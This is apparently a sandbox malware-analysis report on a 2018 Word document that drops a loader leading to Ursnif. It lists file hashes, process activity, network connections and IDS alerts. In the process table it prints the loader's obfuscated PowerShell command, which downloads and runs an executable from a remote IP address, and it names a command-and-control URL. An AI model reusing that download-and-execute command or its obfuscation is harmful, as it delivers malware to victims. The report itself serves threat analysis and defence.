analyze malware
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| File name: | b26c63b0abc0fee5b31bc57e3b31da6abc62c274e36c9c0b6edca9d2962ac9dd.doc |
| Full analysis: | https://app.any.run/tasks/b552f556-bee7-4415-a4a3-11a5fbaa0caf |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | December 06, 2018, 17:29:01 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Author: Windows, Template: Normal.dotm, Last Saved By: Windows, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 11:00, Create Time/Date: Thu Dec 6 14:36:00 2018, Last Saved Time/Date: Thu Dec 6 14:50:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
| MD5: | FE8130EBC50054D1C66628AA1F54CCA6 |
| SHA1: | FA3789FC7F5E2D61786318450ACE890C9CF79E3D |
| SHA256: | B26C63B0ABC0FEE5B31BC57E3B31DA6ABC62C274E36C9C0B6EDCA9D2962AC9DD |
| SSDEEP: | 1536:tsyrGHgz2cBXs8+Nryl3H2Y1O2O1JHbGoIoF51c0xlun+2YGC:qyrBzBBXEMD1s1Jio5/cKunY |
MALICIOUS
Executes PowerShell scripts
- WINWORD.EXE (PID: 2812)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2812)
Application was dropped or rewritten from another process
- runn.exe (PID: 2952)
- runn.exe (PID: 2128)
Downloads executable files from the Internet
- powershell.exe (PID: 3988)
Downloads executable files from IP
- powershell.exe (PID: 3988)
Loads dropped or rewritten executable
- runn.exe (PID: 2952)
URSNIF was detected
- iexplore.exe (PID: 1740)
Connects to CnC server
- iexplore.exe (PID: 1740)
SUSPICIOUS
Creates files in the user directory
- powershell.exe (PID: 3988)
Executable content was dropped or overwritten
- powershell.exe (PID: 3988)
- runn.exe (PID: 2952)
Creates files in the Windows directory
- powershell.exe (PID: 3988)
Application launched itself
- runn.exe (PID: 2952)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2812)
- iexplore.exe (PID: 2744)
- iexplore.exe (PID: 2356)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2812)
Application launched itself
- iexplore.exe (PID: 1724)
- chrome.exe (PID: 2576)
- iexplore.exe (PID: 2356)
Changes internet zones settings
- iexplore.exe (PID: 1724)
- iexplore.exe (PID: 2356)
Reads Internet Cache Settings
- iexplore.exe (PID: 1740)
- iexplore.exe (PID: 2744)
Modifies the open verb of a shell class
- chrome.exe (PID: 2576)
Changes settings of System certificates
- chrome.exe (PID: 2576)
Reads internet explorer settings
- iexplore.exe (PID: 1740)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (80) |
|---|
EXIF
FlashPix
| CompObjUserType: | ???????? Microsoft Office Word 97-2003 |
|---|---|
| CompObjUserTypeLen: | 39 |
| HeadingPairs: |
|
| TitleOfParts: | - |
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 12 |
| CharCountWithSpaces: | 1 |
| Paragraphs: | 1 |
| Lines: | 1 |
| Company: | Microsoft |
| CodePage: | Windows Cyrillic |
| Security: | None |
| Characters: | 1 |
| Words: | - |
| Pages: | 1 |
| ModifyDate: | 2018:12:06 14:50:00 |
| CreateDate: | 2018:12:06 14:36:00 |
| TotalEditTime: | 11.0 minutes |
| Software: | Microsoft Office Word |
| RevisionNumber: | 4 |
| LastModifiedBy: | Пользователь Windows |
| Template: | Normal.dotm |
| Keywords: | - |
| Author: | Пользователь Windows |
| Subject: | - |
| Title: | - |
Total processes
50
Monitored processes
19
Malicious processes
3
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2812 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\b26c63b0abc0fee5b31bc57e3b31da6abc62c274e36c9c0b6edca9d2962ac9dd.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 3988 | powershell $path = 'cGObTrEdfdD:\winGObTrEdfdDdows\teGObTrEdfdDmp\runn.eGObTrEdfdDxe' -replace 'GObTrEdfdD', '';iex('$wc = new-obGObTrEdfdDject nGObTrEdfdDet.weGObTrEdfdDbclGObTrEdfdDient; $wc.dowGObTrEdfdDnloadfGObTrEdfdDile(\"hGObTrEdfdDttGObTrEdfdDp://185.183.96.9/update.exe\", $path)' -replace 'GObTrEdfdD', '');iex('stGObTrEdfdDart-prGObTrEdfdDocGObTrEdfdDess $path' -replace 'GObTrEdfdD', ''); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 2952 | "C:\windows\temp\runn.exe" | C:\windows\temp\runn.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2128 | "C:\windows\temp\runn.exe" | C:\windows\temp\runn.exe | runn.exe | |
User: admin Integrity Level: MEDIUM | ||||
| 2576 | "C:\Program Files\Google\Chrome\Application\chrome.exe" | C:\Program Files\Google\Chrome\Application\chrome.exe | explorer.exe | |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3328 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win32 --annotation=prod=Chrome --annotation=ver=68.0.3440.106 --initial-client-data=0x78,0x7c,0x80,0x74,0x84,0x6ebb00b0,0x6ebb00c0,0x6ebb00cc | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 2448 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=watcher --main-thread-id=2592 --on-initialized-event-handle=304 --parent-handle=308 /prefetch:6 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: MEDIUM Description: Google Chrome Version: 68.0.3440.106 | ||||
| 3496 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=928,4383664692595350063,9658117225574498643,131072 --enable-features=PasswordImport --gpu-preferences=KAAAAAAAAACAAwBAAQAAAAAAAAAAAGAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAKAAAAEAAAAAAAAAAAAAAACwAAABAAAAAAAAAAAQAAAAoAAAAQAAAAAAAAAAEAAAALAAAA --service-request-channel-token=971EF1AF0D6AF26F5498D869D918677A --mojo-platform-channel-handle=1012 --ignored=" --type=renderer " /prefetch:2 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Version: 68.0.3440.106 | ||||
| 4064 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=928,4383664692595350063,9658117225574498643,131072 --enable-features=PasswordImport --service-pipe-token=253D20265F477152908C3327FE34887F --lang=en-US --instant-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=253D20265F477152908C3327FE34887F --renderer-client-id=5 --mojo-platform-channel-handle=1900 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 68.0.3440.106 | ||||
| 2648 | "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=928,4383664692595350063,9658117225574498643,131072 --enable-features=PasswordImport --service-pipe-token=0670CFCB0F0285187BCCF5C3AFBB3D71 --lang=en-US --extension-process --enable-offline-auto-reload --enable-offline-auto-reload-visible-only --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --service-request-channel-token=0670CFCB0F0285187BCCF5C3AFBB3D71 --renderer-client-id=3 --mojo-platform-channel-handle=2072 /prefetch:1 | C:\Program Files\Google\Chrome\Application\chrome.exe | — | chrome.exe |
User: admin Company: Google Inc. Integrity Level: LOW Description: Google Chrome Exit code: 0 Version: 68.0.3440.106 | ||||
Total events
2 526
Read events
1 918
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
45
Text files
63
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2812 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR96D7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3988 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MN2Q6FFR2J8LBUQH6H1P.temp | — | |
MD5:— | SHA256:— | |||
| 2576 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old | — | |
MD5:— | SHA256:— | |||
| 2576 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB\000016.dbtmp | — | |
MD5:— | SHA256:— | |||
| 3988 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:901ECDF767744E6BB59CB023757886E3 | SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1 | |||
| 2812 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:97134130F5D402DEF1A4F4D6C8F007FA | SHA256:5CD87DA05B66B14EE81C18E40F0A083053B878A7F3D82D5CF3212B25AF266A26 | |||
| 2576 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\9a079b5c-2d50-438e-8000-fad78cccfb2c.tmp | — | |
MD5:— | SHA256:— | |||
| 2576 | chrome.exe | C:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000016.dbtmp | — | |
MD5:— | SHA256:— | |||
| 2952 | runn.exe | C:\Users\admin\AppData\Local\Temp\298741557 | binary | |
MD5:348CE16F16D112072775A17321A02980 | SHA256:CE94430D28C862F178B0693AFFF460638B6C8CE16A5C594E8BEFF944936741AC | |||
| 2812 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$6c63b0abc0fee5b31bc57e3b31da6abc62c274e36c9c0b6edca9d2962ac9dd.doc | pgc | |
MD5:208534BE240F91CA380C4AFA99C557EB | SHA256:62E5222B33A0F3E1485FE58D8298CA68F16033C6038AF39C717AEBC7E1617180 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
49
DNS requests
36
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2356 | iexplore.exe | GET | — | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | — | — | whitelisted |
3988 | powershell.exe | GET | 200 | 185.183.96.9:80 | http://185.183.96.9/update.exe | NL | executable | 121 Kb | suspicious |
1724 | iexplore.exe | GET | 200 | 204.79.197.200:80 | http://www.bing.com/favicon.ico | US | image | 237 b | whitelisted |
1740 | iexplore.exe | GET | 404 | 47.52.45.178:80 | http://x1.eromov.at/wpx/Se8gsV0aLs/b07s40gaeC0RRw1jv/tQZ3oPAeMUDK/4gmGrw2q0W2/DQYLO9TTB45lO_/2FShOwGhGvtxaAsGf_2F8/69qa5KrZ52neqoYY/2_2BqJo4mCnsKYU/5fLzh_2FrOLGigc6pi/l669Dac2_/2BXa_2BRAJKhwJ4yVFXi/EMKvsLw14ZdjX6W9jJ0/OsvlYvAcdGnzmqWTJpr322/K3gfzsWrDI2dh0jjt/ZzA2J | HK | html | 180 b | malicious |
2576 | chrome.exe | GET | 200 | 93.184.220.29:80 | http://cacerts.digicert.com/DigiCertSHA2SecureServerCA.crt | US | der | 1.15 Kb | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2576 | chrome.exe | 172.217.18.170:443 | safebrowsing.googleapis.com | Google Inc. | US | whitelisted |
2576 | chrome.exe | 172.217.18.163:443 | www.google.de | Google Inc. | US | whitelisted |
3988 | powershell.exe | 185.183.96.9:80 | — | Host Sailor Ltd. | NL | suspicious |
1724 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2576 | chrome.exe | 172.217.16.3:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
2576 | chrome.exe | 172.217.16.13:443 | accounts.google.com | Google Inc. | US | unknown |
1740 | iexplore.exe | 47.52.45.178:80 | x1.eromov.at | Alibaba (China) Technology Co., Ltd. | HK | malicious |
2576 | chrome.exe | 54.236.97.243:443 | www.prudential.com | Amazon.com, Inc. | US | unknown |
2576 | chrome.exe | 93.184.220.29:80 | cacerts.digicert.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | whitelisted |
2576 | chrome.exe | 63.32.116.169:443 | nexus.ensighten.com | MCI Communications Services, Inc. d/b/a Verizon Business | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
clientservices.googleapis.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
safebrowsing.googleapis.com |
| whitelisted |
accounts.google.com |
| shared |
x1.eromov.at |
| malicious |
www.google.de |
| whitelisted |
www.bing.com |
| whitelisted |
www.google.com |
| whitelisted |
ssl.gstatic.com |
| whitelisted |
www.prudential.com |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3988 | powershell.exe | A Network Trojan was detected | ET INFO Executable Download from dotted-quad Host |
3988 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3988 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3988 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3988 | powershell.exe | Potentially Bad Traffic | ET INFO SUSPICIOUS Dotted Quad Host MZ Response |
1740 | iexplore.exe | A Network Trojan was detected | SC SPYWARE Spyware Ursnif Win32 |
2 ETPRO signatures available at the full report